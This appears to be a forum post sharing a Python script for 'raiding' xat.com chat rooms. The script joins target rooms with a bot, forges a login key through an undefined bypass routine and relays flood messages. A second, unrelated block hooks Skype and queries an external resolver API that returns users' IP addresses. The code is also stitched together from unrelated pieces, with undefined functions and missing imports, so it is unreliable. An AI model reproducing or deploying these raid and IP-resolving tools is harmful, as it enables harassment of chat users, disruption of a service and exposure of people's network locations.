Here is some simple python coding to raid xat.com chat rooms
[font=Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', monospace, serif][*]import json
[*]import socket, urllib2
[*]import re
[*]import urllib2
[*]
[*]xat = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.SOL_TCP)
[*]xat.connect(('50.115.127.232',10000))
[*]roomID = '209593629' #RSPSCODING 202203736 NITN 188698147 RSW 186961695 RSPS 209593629
[*]botname = 'Hostel'
[*]raidmsg = '#******S'
[*]idinfo = urllib2.urlopen('http://lohex.net/proxies.txt').read()
[*]idinfo = urllib2.urlopen('http://xat.com/web_gear/chat/auser3.php').read()
[*]uid = idinfo.split('&')[1].split('=')[1]
[*]k = idinfo.split('&')[2].split('=')[1]
[*]xat.send('<y r="'+roomID+'" v="0" u="'+uid+'" />\0')
[*]boobs = xat.recv(1024)
[*]nipple = XML(boobs)
[*]L5 = bypass(nipple['au'],nipple['i'],nipple['p'],nipple['k'],uid,roomID)
[*]xat.send('<j2 cb="'+nipple['c']+'" Y="2" l5="'+L5+'" l4="1217" l3="844" l2="0" q="1" y="'+nipple['i']+'" k="'+k+'" k3="0" p="0" c="'+roomID+'" f="0" u="'+uid+'" d0="0" n="'+botname+'" a="447" h="" v="0" />\0')
[*]def sM(msg):
[*] xat.send('<m t="'+msg+'" u="'+uid+'" >\0')
[*]while 1:
[*] text = xat.recv(4096)
[*] print text.split('\0')[0]
[*] if text.find('<m') != -1:
[*] packets = XML(text)
[*] user = packets['u']
[*] msg = packets['t']
[*] arg = msg.split(' ',1)
[*] command = arg[0]
[*] if command.lower() == '!say':
[*] argu = arg[1]
[*] sM(argu)
[*]
[*]def command(Message, Status):
[*] if Status == 'SENT' or (Status == 'RECEIVED'):
[*] if '!resolve' in Message.Body:
[*] messageText = str(Message.Body)
[*] messageText = messageText.split(' ')
[*] resolverAPI = 'http://resolver.obn0xio.us:8080/api/'
[*] resolverJSON = json.load(urllib2.urlopen(resolverAPI + messageText[1]))
[*] for index in resolverJSON:
[*] Message.Chat.SendMessage(index['public'])
[*]
[*]skype = Skype4Py.Skype()
[*]
[*]skype.OnMessageStatus = command
[*]
[*]if skype.Client.IsRunning == False:
[*] skype.Client.Start()
[*]
[*]skype.Attach()
[*]
[*]while True:
[*] raw_input('')
[/font]